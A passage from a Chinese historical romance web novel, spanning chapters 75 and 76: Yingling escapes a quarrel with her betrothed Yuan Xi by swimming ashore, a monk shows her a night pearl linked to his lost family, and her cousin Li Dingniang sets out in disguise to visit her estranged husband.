元羲猛地呆住，从未想她如此直白地呛声讥嘲。他目光无神采地在她面上逡巡，仿佛要找寻从前那个熟悉的惜奴，半晌挫败下来，声音发紧： “我在你心里便是这般、这般不堪？我怎样想，难道你不晓得？我此生只你一人，从前是，以后也是，没什么正室外室。若不能娶你，我这一辈子便不再娶旁人……你呢？惜奴，你又如何？惜奴，你看着我。” 应怜别过头，死死盯着仍在岸边挥手的茜草。 元羲笑了一声，声音飘忽，有些恍惚。 “惜奴，你可能说一句，心中只我一人？”向来有情人间心思最敏感，他瞧见她神色里郁郁，等不到她开口，心中如混沌里划过一丝明光，却捉不住、也不愿捉住那一点领悟。 应怜面上现出几分屈辱，咬着唇不说话。元羲心中一疼，恍如梦中初醒，扔了撑篙，几步又蹲在她身前，后悔方才逼她：“是我错了、是我错了！惜奴，这样混账话，我以后不说了，你别恼我！” 那撑篙入水，咕咚咚下沉，波面顿起涟漪。应怜心头乱糟糟一回，突然登时一惊，再看船头船尾，一声叫：“你、你把撑篙呢？” 元羲也面色一变，掰着船沿向下望，焦急变成了尴尬，与她面面相觑，神情里有傻眼的窘迫。 “嗯，这下好了……”小舟轻荡，余晖映得他面色微微发红，水面透出无瑕的剪影，虽说着，嘴角却在她瞧不见的地方隐隐翘了起来，“没了撑篙，咱们就回不了岸了，急也没用。” 应怜气急得说不出话来，十分怀疑他实在是故意的。 元羲倒也不急了，目不转睛瞧她面上露出从前熟悉的几分神情，那是她向来不善与人争辩，一急起来便脸面红红粉粉，霎是可爱。相比起来，方才那个反唇相讥的她，与他而言才更为陌生。 “想是老天爷不教咱们红脸。”他道，“惜奴，莫再恼了，你不愿回去，我陪着你就是。” 应怜瞪大了眼，“你别想那些个有的没的，咱们如今怎么靠岸！” 她急她的，元羲不急，只是面上也不能太坦荡，眨了眨眼，长长舒了口气，只觉此时水汽渐浓，清新气息弥漫，风景才正好。 小舟已行到浅处，湖水十分清澈，历历可见水下青荇与泥藻。应怜火急火燎，来回四顾，一眼望见不远处湖畔正是一座亭榭，那样式颇为熟悉，一拍脑袋，想起来，那不恰好是李定娘家的水榭么？ 她低头望了望水，又回头望了望元羲，咬咬牙，横下一条心，不再理睬他，翻身噗通便跳下了船。 小舟猛一摇颤，摇碎了元羲花好月圆的梦。 “惜奴！”他惊声，好容易稳住船身，却见应怜早已大半身子没入了水，水下荡起好一番浑浊。 他心心念念的人，此时双脚踏在软烂的湖泥里，高高昂着颈项，在水里露出一个脑袋，最后一缕斜阳光辉蕴在她秀韵的眼眸里，化作一丝笑意流泻出来，昭显此时舒畅而又得意的心情。 “我先走了，”她清脆的声音随着湖面波澜掷上小舟，带着一点骄傲，“你若还想赏月，那便赏吧。回头我教茜草来接你。告辞！” 元羲目瞪口呆，伸出手去，将将碰着她一缕荡在水面的衣襟轻纱，还未捉着，那轻纱便随主人远去了。 哦，她似乎是会凫水的。他半晌忆起来。 只是他太过震惊，望着那一漂一跳的灵巧 背影，那震惊甚至压过了心头的沮丧。 她义无反顾的离去姿态，一直到湿哒哒远去上了一道石阶，也还没让他从震撼中回过神来。元羲什么也顾不上了，叫喊出声，声音里甚至带了些仓皇，“惜奴——” 半在水中的那背影抬起了一只手，滴滴答答地淌着水，很随意地向他甩了甩，头也没回。 离了元羲，应怜一身湿淋淋地踩上了青石的水下台阶。 虽一身是水，但奇异的是，她却并不觉得狼狈；相反，心里有什么淤塞的东西似乎被水流哗啦一下冲去了，浑身舒泰，连心思也清明了许多。 她一路由深到浅，披着最后一缕消散的日光，仿佛身心某处完成了一种蜕变。那种感觉言语说不出，冥冥中却使她觉得，自己为这一刻，似乎已等待了很久。 闺秀走路是不能一步三摇的；衣襟衣摆是不能有一点脏污的；说话得轻声细语；若是横瞪了一眼旁人，那便是失礼。 更别提翻下船入水，水鬼似的幽幽爬上岸，衣衫还湿漉漉地紧贴在身上。 可春江水暖，泥藻招摇，一切都美好极了。 她就这么灌了两袖的水，一路蹚行到水榭的青阶，在阶上微微拧干一身，想着后头元羲指不定眼珠子都瞪出来了，便觉得好笑，上了水榭露台，又去敲那后门。 开门的女使见了她，惊得话都说不出来。应怜摆摆手，先进去，问：“定娘表姐在家么？” “在、在！”女使忙引路，一时竟不知是先去禀主人家还是为她取一条干手巾，索性亦步亦趋随着她来了。 应怜便这么带着两脚水迹鞋印，湿湿地入了内院。 过道廊下堆着三三两两的箱奁，俱是彩绸装点，一连拖拖拉拉占了半个院子，正有几个仆从合力外搬。应怜见了，纳闷问：“这是谁家送礼来了？” 女使一面挥退下人，一面答道：“是舟横先生送与我家娘子的。娘子不要，正教咱们扔外头去呢。” “舟横先生？”应怜皱皱眉，不知这又是哪一位。 “便是咱们娘子的夫婿、您的姐夫呀！”女使瞧出她心中疑惑，道，“他晌午时带了许多人来，好一番赔礼道歉，说了不少软和的话，还跪在门口，求咱们娘子消气呢！” 应怜这回稳不住了。 她以为以王渡犯下的恶行，哪怕与定娘同在义兴县，总也没脸再求她破镜重圆。他竟还送礼？还跪在她家门口？ “连地也被他脏了。”她拧起眉，嫌恶得显而易见，趁女使不注意，将指甲里泥沙与袖中水草统统弹在了木箱上。 女使还能说什么，只得挂起一抹不知是不是尴尬的笑，“当真是姐妹，咱们娘子也这样说呢。” “怎么，你觉着他们应当和好？”她见女使脸上一抹惋惜之色，惊讶问。 应怜向来待下人和气，女使便心里不藏话，与她道：“您是没见方才的阵仗。舟横先生痛心悔改，是赤身背着荆条来的，额上磕出了血呢！他言辞悔恨，真是赤诚真心！且听闻他也是被那罗大王逼着作恶，真真该死的是罗大王。咱们娘子既已手刃了仇人，这到底是她的夫婿……唉。” 她说这一番，又望望应怜，已很明了，实想请应怜也劝一劝姐姐。 应怜一路走过礼箱，心想，若不曾晓得王渡此人从前狼心狗肺的旧事，若自己也见了方才他负荆请罪的架势，说不得还真就像这女使一样，信了他“真心悔改”。 她一哂，什么也没说，敲门径入了小楼。 里头一向锁着窗，又比屋外昏沉许多。内室里榻上没李定娘的影儿，想是在楼上。 应怜便上了楼，声音虽轻，鞋履到底踩了一阵蹬蹬的响动。 待到了楼上，一般黯淡的光线中，她听见一个平冷而消沉的声音，正是李定娘：“怎么，他又来了？这回又教你传什么话？他与你多少好处了，你这样为他说情。” 应怜抹了抹脸颊上水痕，那声音让她心揪了一下。 “是我，惜奴。”她开口。 里头一晌窸窣响动，也不知李定娘是不是还记着与她的龃龉，摆出正襟危坐的姿势。应怜几日来没见过她正脸，如今浑身透湿，立在外间，道：“我才从水里来的，你与我一套干净衣裳换了吧。” 又是凌乱的几声，比方才急了一些，是李定娘惊得趿了鞋下地的响动，匆匆拨了湘妃帘，慌慌地出来，“你怎么了？落水了？” 一张螓首蛾眉的美人面从帘后而来，两下里一见，应怜有些难为情，微微地笑着；李定娘却眉头一皱，略显苍白的脸上起了几分红晕，拉着她便上上下下地扫量，见她外皮无伤，这才松一口气，又赶忙翻找衣奁，塞了她一套内外衣衫，埋怨道：“你这又是闹的什么？身子浸了水，冷透了，是要风寒的！” 应怜才说了一句“下次不会了”，便被她塞入里间，换衣裳去了。 李定娘又教女使烧热热的姜汤来，盯着她一碗饮尽；又拿细细的软布，一点点绞干应怜头发，蹙着眉忙前忙后。 应怜肚里一碗姜汤发散，热乎乎地妥帖，赧着脸问：“你不与我闹脸啦？” 李定娘白了她一眼。 昏暗的小楼上，应怜细细瞧她，只觉比年前一别，她又瘦了不少，腕子露在外，伶伶仃仃的；想她遭遇，心中不由有些疼，便又捡起那王渡来说，“那个舟横先生……” “别说了。”才几个字，李定娘便截断她话头，顿了顿，“……我自有分寸。” 她从来都是很有主意的一人。应怜便也没甚好说的，提他平白恼了她，自己也膈应。 便不再说什么，整好了衣衫、挽了半干的长发，耽误了这么些功夫，匆匆与李定娘告别。不远处寻见了茜草，应怜特特叮嘱一句：“你寻条船，到前头湖上去接元郎君。” “哪还有什么元郎君呀！”茜草望望湖上苍青碧波，道，“方才早有人接了他，岸上去了！” 应怜哭笑不得，想他应是先一步回了府署，便也带上茜草，一辆车同回了。 她们赶着宵禁前回到府署。应怜先没回屋，匆匆便赶去宗契那院；一路见张灯结彩，处处点灯，东南西北数个庭院回廊间俱有仆役走动，便晓得一行去到义兴县的人都回了来，也不知结果如何，便更急着要见宗契。 茜草还在一旁煽风点火：“娘子是没见着，高僧回来时，那一身的血，可骇人了 ！” 她心里便更没个底，着了火似的，也不管前前后后经过的人，一气儿向宗契的院里去。 才进了院子，正见仆从抬着香汤浴桶出门来，当中一个正是小乙。 茜草便拉住小乙，问：“高僧现下如何了？” “才用过饮食，沐浴更衣，这会刚歇下呢。”小乙道，圆圆憨憨的脸庞被门两侧的灯笼照得明朗，又悄悄儿说了一句，“方才换下的衣裳里浸足了血，一泡水，那色儿都变了！” 应怜早被方才茜草的话吓着，一听这话，白了脸，脚更发软，想也不想，奔向了屋内。 屋门虚掩着，里头透出几点光亮来。她着急着慌地推门便入内，径向点灯的里间去，叫道：“宗契！你受伤了？” 一脚踏进内室，猛一下呆住。 宗契正半躺半坐，只穿着一条裤子，外袍松松散散披在身上，露着一片宽厚的胸膛。灯烛明亮，清晰明了地照映出每一块遒结勃发的肌肉纹理。澄明的光火质地如油，温暖地涂抹在他身上，不像伤重的模样，却勾勒出一幅令应怜面红耳赤的画面。 他似乎全副心神正在手中一个物件上，才回过神来，凸起的喉结明显震动了一下，浑身肌肉一霎紧绷，坐直了身子。 轰地有如一团火，烧在应怜脸上。她手足无措，懵了一瞬，才想起闭眼。 “你怎么不好好穿衣裳！”她松了一口气，却捂了脸。 宗契也没想到她这会居然到来，扔了手里东西，一屈腿，跃下床，飞快系好衣带，“你来了？不是说……” 不是说泛舟去了么？ ……也是，天都黑了，便是泛舟也早回了。 “方才多饮了几杯，有些燥。”他又短促地解释。 应怜嗯了一声，脑子里那副他半敞衣襟的模样挥之不去，臊得肝儿颤，却又心道怪了，从前也不是没见过，那回他伤了肩背，她不是还照料过些时日么？ 心底唾弃自己龌龊，她勉强压下羞臊，深呼吸几口气，又回过头来，“不妨事！你的伤，大夫来瞧过么？” 宗契才腰带宽宽松松地才系了一半，闻言不解，“什么伤？” “身受的伤呀！”她三两步到他跟前，一鼓作气将他按坐了下去，只觉手按在他肩头，那极宽的肩背也是隆起紧绷的，无端有些紧张，“轻伤也需当心，伤口不好捂着，你我之间就别见外了，不穿就不穿吧……” 她不敢下重手，放轻了力道，宗契便觉那两只手有如两片鸿毛飘在肩头，软绵绵的，隔着单衫，又温暖、又引得人心头发酥。 “你以为……”先前闻听他二人泛舟时的心烦烟消云散，他心里涌来一股暖意，又有些隐秘的欢喜，“我并没伤……” 她依旧立在他身前，倾过身来，想瞧他到底伤了哪里，上上下下地打量。灯火映明她乌黑明澈的眼眸，那里一抹水色氤氲，清艳得惊人。 他失落在这样一双明眸里，闻着她脖颈衣襟传来的似有若无的幽香，鬼使神差，说了句诳语，“……稍微有些伤，不碍事。” 灰黑的衣衫遮住了他身子，应怜什么也瞧不见，闻言瞪大了眼，想碰他又不敢，生怕触动他伤口，“伤在哪里？上药了么？” 她从他身子这一侧绕到那一侧，想瞧出些眉目来，但依旧一无所察，只得立住了在他身前，俯下头望望坐在床沿的宗契，又凑过来，借着灯火的暖光，端详他头脸脖颈。 她离得太近，自己却浑然不觉。宗契浑身像绷紧了的弦，每一处肌肉都硬绷得不像话，僵硬地岔开两条腿，长长地半屈半身，当中虚嵌着她温热柔软的身子，衣衫摩挲间，似触未触，教人心底烧起了一团焦灼的火。 一个谎得用另一个谎来圆。 宗契被脑子里的胡思乱想扰得没了清明思绪，衣带系了半途，松松垮垮搭在腰侧，却早已无心动作，只觉满室尽是她浅淡香气，从衣领下伴着温热汩汩而出。他喉头发紧，声音有些哑，随口胡道：“肩上。” 第75章 第75章独挑一支灯火，才见此间…… 他肩背原就有伤，才好不过一个月，别是那旧伤又发了。 应怜心里一紧，将他推转过去，自个儿又坐在他背后，将衣襟挑下来一点，战战兢兢地去碰他肩背。 那里横贯着一条狭长的浅浅疤痕，覆在紧绷鼓胀的肌肉上，灯火下显得黯淡又无光泽，正是在江宁时所受的伤。应怜睁大眼仔细找寻，一点一点触碰，生怕重了半分，又问：“伤在何处？难道是旧伤未愈？” 蜻蜓点水一般的触碰，与瘙痒无异。宗契整个背也灼烫了起来，尤其她每一轻按的地方，温柔如泉水，汩汩渗入他每个毛孔，却一团一团烧起了蔓延的火。 他不得半回过身，想也没想，只手捉住了她乱来的五指，“别摸。” 声音也不知何时变得沉哑，宗契眉眼轮廓全浸在灯烛里，望向他的眸子里跳跃着无序的光火，眼底却压抑着隐晦不明的情绪。 应怜与他对视，怔愣半晌，忽被烫着似的，猛地抽出了手，垂下眼。 “轻伤，不碍事。”掌心仍残余着温软的触觉，他微微攥了攥手掌，又松开。 两人一时谁也没开口，满室寂静，灯烛被衣袖拂过的气流扰动，摇曳明灭一瞬，将两条影子拉长，勾缠交错在一处，连影子也有了凌乱的心跳。 灯烛复定后，宗契逐渐稳住心神，也觉方才自己太过唐突，有意要岔开话，便从枕下取出了个微明的物件，“对了，我正有一事——你来瞧。” 应怜颊上的灼意方才退却一二，脸仍红着，心思倏尔被他掌中勾去，眼蓦地睁大，连呼吸也屏住了。 “这是……”她极不可思议，浑觉身在梦中，想伸出手去又犹疑，“夜明珠？” 那珠子硕大圆润，冷冷幽光漫映，像极了星辰坠落在此室，照得人眼眸中也有了一丝是幻非真之感。它静静搁在宗契掌心，竟将他宽硬的掌中一条条纹路、微微凸起的旧茧映明得一清二楚。 应怜家中曾也有过夜明珠，但至多不过半寸，且从未有如此温润清明的光彩。宗契手中这一颗，莫说她没见过，恐怕宫禁里也稀罕得不曾见。 “你从哪儿弄来的？”她不可置信，一刹时将方才旖旎忘得一干二净。 宗契先整理好了衣裳，束了束松垮的领口，斟酌再三，似是想着从哪里开口，最末才道：“此去义兴县，咱们一行人先扮成外来的商贩，宿在城外一户人家。那家主人不在，只一个哑巴的老儿看守，入了夜背着人，动作鬼祟，正教咱们抓着，结果便翻带出这物件来。” 应怜听罢，愈发地糊涂，“这么说，这是人家的宝贝？这样珍稀的至宝，你……” 她想说，宗契怎么也不像是贪图旁人财物的人，这回怎的做下这样不体面的事？ 宗契却拧起了眉，眸光望进那一团冷光中，那神情竟也有几分疑惑，“这东西，也许……与我外家相干。” 应怜惊得差点没摔了夜明珠。 “你瞧珠子里，”他为她指着里头某处，“这头瞧……像不像内里藏了一条潜龙？” 应怜循他指向望去，伸过脑袋，不自觉便凑近了他胸口。宗契不得不再次伸出一手，极轻微地将她的脑袋按回去一点，指腹触到她温软的发顶，几缕碎发毛绒绒地刮挠他手心，令人心中一动。 应怜浑然不察，只瞪大眼，几乎贴着夜明珠，细瞧内里光景。 果如他所说，那一团清润冰晶似的光芒里，隐隐约约透出了一条蜿蜒耸动的细影，浑如一条小小的龙，昂首摆尾，龙爪直直地伸着，气势怒矫的模样。 “难道当真是一件神物？”她悚然而惊。 宗契失笑，“稀罕是真的，神物倒未必。若我所料不错，那条‘龙’不过是里头裂纹。这珠子曾被摔过，虽外表无虞，却 因此内里被震出一条裂隙。白日里不察觉，夜来瞧时，便似多了一条小龙在内。” 应怜目光从夜明珠内抽出，怔怔然望着他。 “这是我母亲说的。”宗契道，将十几年前一段挺平常的往事道来。 “我俗家在郑州，从前做的是标行买卖，河北、河东路一带有些家业，南来北往的稀罕物件也不少。里头便有一颗巴掌大的夜明珠。” 那珠子却不是他父亲的，而是母亲陈氏从娘家带来，偶尔取来逗一逗年幼的他。 “她说得清楚，这夜明珠通共有二，一颗在她处，另一颗在娘家。”宗契道，“她们是姐妹二人，从前淘气，偷摸出这两颗珠子来玩，不慎滑了手，一颗摔在地上，阴差阳错，摔出里头一道纹来。” “这样说来，凭这颗珠子，你便不是大海捞针了！义兴县那一户人家，纵不是你外家，想必顺藤摸瓜，你也能找到亲人！”应怜又惊又喜。 宗契瞧她真心实意的笑容，叹了一声，“是啊，我也如此想，便问那哑仆，主人家是谁。他不会说、不会写，带我去瞧了一副山水图画。他指与我瞧，密林之中，极小地署了三个字。” 应怜问：“是什么？” 他眸中现了几分复杂：“宗伯珣。” “哦，这是隐款。想来这位宗翁便是作画之人，也是此间的主人家了。”她想了想，忽觉着有些深意，琢磨那名姓，现了些惊讶，“宗、宗……这么巧，你名儿里也有个宗字呢！” 但这到底是没头没脑的猜测，即便再添上一颗夜明珠，也不过是瞎猜而已。 “那都好说，是真是假，得了空，咱们再去探访探访便知。”应怜说罢，又看向夜明珠，那一汪亮盈盈的，盛放得久了，竟仿佛比烛火还明朗。她又道，“这宝贝价值连城，不过毕竟是人家的东西，咱们查清了，还还与人家吧。” 宗契心不在焉地点点头。 “怎么，你还有心事？”她瞧出来几分异样。 他才道：“不，没有。” 应怜瞧他面色，以为他到底动了爱财之心，舍不得归还这一样至宝，还想再问，忽听得外头有说话声，是小乙的声音： “元郎君，这大晚上的，您到我家主人处来寻柳娘子，这不太好吧？” 应怜听得“元郎君”三个字，心下莫名一惊，才以为他回了府署，想必歇下了，怎么却寻到了这里？ 便又听一个声音，朗朗铮铮，正是元羲：“你是说，她不在此么？那好，我寻宗契师父，烦你通禀。” 小乙也不知出于什么心思，磨磨蹭蹭不愿去。 里头应怜再坐不住，匆匆出了来，一晌望见灯火通明的院儿里，元羲果立在廊下，仍是白日里那身衣衫，一双亮得惊人的眸子盯来，里头簇簇地燃着某些火焰，不知名的情绪翻腾。 宗契随后出了来，与她一左一右并肩而立。元羲眸中那火腾得便更盛了，神色里有几分隐忍。 “你怎么来了？”应怜问，左瞧右顾，却见小乙与茜草俱在廊下，走得远远的，仿佛不愿掺和什么事一般。 她后知后觉地瞧出元羲神色不对，似乎有些恼怒。 元羲道：“这话该我问，你怎么来了？” 应怜一滞，刚想辩驳，却见他已转向宗契，眸光沉沉，语气里有疏离与冷淡，浑不似初次见面时赞佩，“她年纪小，不懂事。可高僧到底年长，身为出家人，难道便不懂人言可畏的道理？便由着她胡来，夜中闯入您的居室；瓜田李下，教外人知晓了，她该如何自处？” “你与我说便罢了，为何又要怪他！”应怜被刺得脸上火辣辣的，抢白他道，“什么外人知不知晓，如今我见非议的人只你一个！你自家看不惯，偏扯别人！” 宗契在她身侧，岿巍的影子自脚下沉坠坠投在庭院里，眉眼被院中灯火微微映出轮廓，阴影处多了几分凌厉，沉默待她说完，却走上前，将应怜遮在了身后。 他与元羲相对，在应怜瞧不见时，眸中便盛了几分冷意，身量高大，压过了元羲一头，沉沉地打量他。 “听说你二人有婚约之名？”他话如平常，却无端透出一丝生硬沉冷，向他道，“空有名头，却无婚姻之实，便要倚仗这层关系，来兴师问罪了么？” 他背对应怜，她瞧不见他神色，只觉他在此夜中，对着外人，陡然生出了棱角；又见元羲清雅俊秀的脸面上生了一丝微不可查的难堪，心中不忍，便想要上前搭话，劝他二人莫要针锋相对。才身子一动，却不知茜草怎么三晃两晃便到了身边，拉住她衣袖，耳边悄声道：“娘子，别去，他们口角全为了你，你可别再火上浇油了！” 小乙来到她另一侧，抱着手作壁上观，小声地一叹，“吵不起来的，宗契师父不是那喜欢口角的人，他若真恼了，就一拳砸过去了。” 应怜悚然，宗契那比簸箩小不了多少的一拳下去，元羲还不被揍趴下？ 她更心慌，更听元羲冷冷道：“我二人婚约如何，是我们的事。望高僧日后避嫌，不伤了她名节，也不堕自家身份！” 宗契闻言一哂，话里乍然有了些许锋芒，将按捺心底的妒忌化作对他的挑剔，“名节？你看重的是什么？她此人还是她的名节？” 廊下的应怜都快要烧起来了，看看这瞧瞧那，被茜草拉着，只得把一腔火都撒在小乙身上：“他来寻我，你禀我便是，说什么大晚上不太好的，越瞒越教人瞎想！” “我这不是为娘子好么！”小乙喊冤枉，连道，“你二人在里头捣鼓什么，我哪晓得。万一教元郎君瞧见不该瞧的，我万死也赎不了罪！” “难道你竟也以为我们、我们……”应怜眼瞪得溜圆，脸涨红得几乎发紫。 小乙自知说错了话，鼓着腮帮子不言语，低了下头。 庭院通明，涌动纷乱嘈杂的心思人语。院墙暗处又不知什么，忽缩头缩脑现于院子口。应怜眼尖，一下瞧着，“谁！” 暗流涌动的微妙气氛一滞。 几双目光朝前望去。从外头幽深里，磨磨蹭蹭出来个女子，穿戴齐整利索，低垂脸面，挨到院中央，才期期艾艾地抬起脸来，“惜奴，许久不见了。” 应怜才得个喘息的机会，认了片刻，惊跳起来，“范……碧云？” 范碧云是跟着元羲而来的，如今见了应怜，也不知偶遇或有意为之，好一番解释，把在扬州怎样遇见元羲、怎样跟着主仆二人一路至此的境遇略说了一遍，又言蒙元羲收留，如今做他的女使，听他使唤。 元羲对她置若罔闻，只望着应怜，执意地偏向她，咽下与人对质的难堪，伸出手，“惜奴，过来。” 应怜既恼他、又有些心软，被搅得头脑发胀，不愿再理这一团哄乱，索性快刀斩乱麻，找了个无理取闹的由头，指着范碧云向元羲道：“你怪我与宗契师父不避嫌，那好，你与她又如何？她侍奉你起居，难道便不是瓜田李下了？” 她自知这话其实胡搅蛮缠，元羲这样的钟鼎之家，身边女使僮仆簇拥，再平常不过，压根不值得拿来说事。 但话出了口，自己顿了一顿，便觉出了其中意不平的滋味。 凭什么一个男子，向来婢妾环绕、偎红倚翠，对外仍能自称清明持正，不堕君子风度；而她身为女子，与救她命、与她涌泉之恩的恩人屋中说话，就要被指指点点，被责怪轻浮冒失？ 本来拿范碧云做个筏子，这会子应怜心思几转，却当真有了几分不甘。 元羲果如她想象中那样辩白：“这怎能一样？她不过在我那处伺候些笔墨，谁会对此有什么非议？” 饶是如此，他对范碧云的不请自来仍有些皱眉，“你先回去，这里没你的事！” 范碧云垂下了脑袋，那张澄澈而略显天真的脸上闪过一丝失落。 应怜不再呛声，晓得这事理不清个头绪，闹也枉然，心里摸不出什么滋味。叹息、讥嘲、怜悯，真有些百感交集。 此夜光景荒诞，荒诞里透出几分凉薄和不公。这不公起自天经地义的乾坤纲常，她面前的元羲，在这份纲常之中，以“人言”和“规矩”为准绳，并不觉得他所做所言有什么不对。 若她还是从前那个她，必然也会觉得，他今夜不仅没错，而且已是十分宽厚谦让。若换一个男子，谁能忍受妻子在别的男人屋中多待一刻呢？ 可应怜想，她毕竟与他已有所不同。过往那些际遇，逼得她不得不改变看法，否则便会像母亲那样被逼到绝路，只能一死了之。 她才走出老旧的那方天地一步，再回头望，望见元羲，才发现他与自己竟已有了天堑之隔。他待在原地，向她招手，要她这天经地义中去。 我不愿回去。她怔怔地想。 争执的结束在鬼面人踏入院中的那一刻。 黑惨惨的夜里，幽然飘来一方鬼面具，还是挺瘆人的。可当他身形脱离幽暗，出现在庭院灯火里时，便从令人畏惧转变为令人尴尬。 他道：“都吵什么？闲不过就去睡觉。” 应怜满腹牢骚俱被斩断，连元羲也退让了半步。 “谁欺负你？”鬼面下两只幽深眼珠转向应怜，他喉间干哑艰涩，听得人头皮发麻。 半晌应怜才反应过来，结结巴巴摆手，” 没、没人欺负我。” 这话听起来委实怪异。应怜退了一步在宗契身后，不着痕迹地悄悄打量鬼面人，觉着以自己与他几乎不相识的生疏关系，他的话也太过随意了。 鬼面人点头，向宗契与元羲二人各看了一眼，森冷冷的目光压人，尤其在元羲身上多留了片刻，又嘶哑开口：“小肚鸡肠，你凭何管她？” 元羲哑口无言，半晌皱眉反诘：“这与将军无关。” 鬼面人却不理睬他了，再次看向应怜，这回带了微不可察的温和，“谁若欺负你，你来找我。” 应怜：“？？？” “……看在你姐姐的面子上。”他补充了一句。 应怜大松一口气。 鬼面人来，自然不是专为了这没头没尾的争执。他来为宗契带话：“聚义厅议事，走。” 宗契不大放心地望了望应怜，后者向他点点头。 他外头叫来个引路的仆从，嘱咐送主仆二人回家，走过元羲身边时，一刹停了停，目光微凝，却什么话也没说，大踏步随鬼面人离去。 元羲：“惜奴……” “别叫我。”应怜瞪了他一眼，心里一股余火散不去，见他便又窜起来几分，拔腿带着茜草也往外走，“你的惜奴是个乖顺柔弱又端庄的小娘子，我不是她。” 她停也没停，一阵风似的出了院，茜草紧跟在身后也去了。 院中一刹灯火也风凉，夜色冷落下来。 小乙躲在廊下许久，踟蹰地上前来，见那同样枯立的郎君，失魂落魄的模样，竟也风雅得教人赞叹，便放轻了语气：“元郎君、元郎君，他们都走了。” 元羲似发怔，似也不在发怔，眉目里藏着更深的沉默，向他扫了一眼，轻飘飘的，仿佛还陷在先前的思绪里。 但他动了动步子，开始默默地向外走。小乙望着他背影，心里挺不是滋味，心想这算什么事呢。他这样一个要人品有人品、要家世有家世的好郎君，竟追着个轻佻又冒失的小娘子到处跑，还为她这般伤怀。 恐怕是神仙乱点鸳鸯谱，不相衬，真不相衬。 第76章 第76章云山失路，迷津难度 秾李入屋来时，折柳正对着一罐脂膏入迷。 “獭子油？”秾李道，“姐姐怎么总盯着这物什发呆？” 屋仍是府署东廊的屋、林江啸的后宅。自打林江啸被枭了首，折柳便有些心惊肉跳，不知前途命运如何，是被赶出府署了事呢，或更被赏与别的小头目。 只没想到，一连过了七八日，她这处不仅没改换门庭的意思，外头更多了几个兵丁把守。一问，便道是单将军派人来守着，免得不相干的人前来搅扰。 折柳想到这些时日提心吊胆的滋味，又把着这一罐獭子油，喟叹地摸来摸去，半晌抬起脸，冲来至近前的秾李道：“你说……他赠我这么一瓶去疤的脂膏，究竟是何用意？” 她话里罕见带了几分扭捏，春妆淡扫的花面上也泛起了难得的一层浅粉，秾李心里好笑，嘴上道：“赵大官人不是讲得明明白白么，因你仗义行径有功，本欲赏赐钱财的；只是军师说得对，林逆才死，新头领便赏赐他的女眷，这说不过去。这才……” “我晓得、我晓得！”这话折柳听过五六回，不耐地摆摆手，却满不以为然，“只是单将军本意必不止于此。你没见着，绝想不到，那日黄昏他独个前来，专为送我一罐膏药。那会他寡言少语，与人前那个意气风发的赤发狻猊可大不相同。若要表谢意，使个人送来便是，何必避了人耳目，特特地自个儿来？” 秾李也没了言语，只得撇撇嘴，怜悯又取笑地望着她。 “……他必有深意。”一通唠叨毕了，折柳断言。 她自说自话，不多会脸面又更红了一点，眼神有些发直，想也知道她又想入非非了。 秾李道：“如今这结局，咱们算是被养在此处，已是难得的好下场了。姐姐，你可莫要做傻事。” 她挨着折柳一点坐下。说来奇怪，从前喊她“娘”，那是行院里惯常的称呼，那时的折柳仿佛真像个精打细算的干娘，一颦一笑里都有满心的算计；如今称惯了“姐姐”，再瞧她时，她却当真褪了几分风月里的油滑，反多了一点子返璞归真的倔脾气来。 折柳舍不得用那膏药，把玩在手里仿佛瞧不够似的，与秾李两个，不住地欣赏碧玉瓷瓶儿上精细的缠枝，就这么静默了一刻。 过不多久，她站起身。 秾李问：“姐姐，你做什么去？” “小灶上炖着一盅水晶皂儿。我炖了半个时辰，想是香香糯糯了。”折柳从从容容地朝小厨房走。 秾李被她一脑门的“巴结单将军”弄怕了，忙道：“我才从那边来，头领们俱在议事呢，你可别去送！” 折柳莫名其妙地白了她一眼，笑吟吟的，“你想岔了，我是炖给柳娘子的。” 在秾李不解的眼神里，她被盯得有些不自在，抽出手绢来擦了擦鼻尖上不存在的汗，很矜持的模样，“从前不是饿过她好两个月么，如今多送点吃的，补一补这亏欠。她好歹算是那位高僧的女眷，高僧又是单将军得用的人才，总不能为这么点芝麻绿豆大的事，君臣之间闹出龃龉。” 秾李：“……” 她实在不知这单铮怎么就能这般左右折柳的心思。应怜是宗契的女眷，折柳与单铮又八竿子打不着。 折柳可不管，掖了手绢，妥妥地收好了獭子油，叮嘱一声她看家，美美地带上胖墩墩的小琥珀出门了。 那头李定娘也做好了点心，也不是汤汤水水，却是一匣子香腾腾、脆甜甜的桃花饼。 那是她亲手摘的枝上最鲜嫩的桃花瓣、亲手和的筋道细白面，五月半热起来的天里，守在炉边一个个地烤了来，也出了一身热汗，从头至尾，没一点假手于人。 盛了匣儿入雕花的食盒，她不紧不慢地回屋，里头闷了半天；再出来时，同心髻上包着一方青布头巾，只一根粗朴的旧银簪插了，穿一件杏黄细麻褙子，系一条青翠纱裙儿，都是半旧的，无胭脂妆点，做一副市井中妇人打扮。 对镜照了照，她点点头，拿来帷帽遮了头脸，也不与女使打招呼，自出门上了一老旧的牛车。 如今天色尚明亮，余晖里却已有了黄昏的阴影。她端坐于车中，紧紧护着食盒，神思有些麻木，脸上也十分僵硬。 不，不能这模样，得笑。 她闭目，帷帽下一点点挤出死气沉沉的一个笑来。 城东离府署，牛车要走半个来时辰。好容易到了，下了车，她提着食盒，沿一带齐整高大的青 墙绕到了后角门。 果与预料一样，夕阳尽了，青灰的黄昏里开始漫上晚风的清爽，十分宜人。她在这一缕缕送来的晚风里，却奇怪地有些发冷，叩门的手也哆嗦了一下。 开门的是个小厮，打量她通身，先问一句：“你是何人？” “我姓郑，叫郑大娘，”她微微挑开一点薄纱帽帘儿，露出一张清爽素面来，微微笑道，“我来寻舟横先生。我知他在此处，早与他约好了见面。” 小厮被她那张明艳端庄的脸容呆了一呆，而后道：“那你等着，我去禀一声。” 说着要关门。李定娘忙拦住他，亲亲热热地从袖里拿出两角碎银，塞到他手心里，“不忙小哥，你禀你的，我随你一道去可好？你瞧，天晚了，我独自一人等在外头也害怕；这里头是热热的桃花饼，教夜风吹凉了，可就不香了。” 自来钱能使鬼推磨，她又顾盼雅艳、温言软语，谁不吃这一套？ 那小厮揣了银子，当下便也忘了规矩，笑眯眯地径带她入内。 后角门一关，李定娘随他穿廊过院，偌大一方府署，弯弯绕绕地前去了。 舟横先生王渡是新来的头目，仆役们俱晓得的。且他有一桩风流官司，才娶的一个新妇，貌美如花却轻浮浪。荡，据说同他没过几天，就琵琶别抱，入了鬼面将军的帷帐。偏王渡爱她得紧，没几日前，竟低三下四地去请罪，要求回妇人的欢心。 流言蜚语最是好传，下人们时常拿来做茶余饭后的谈资，说什么的都有。 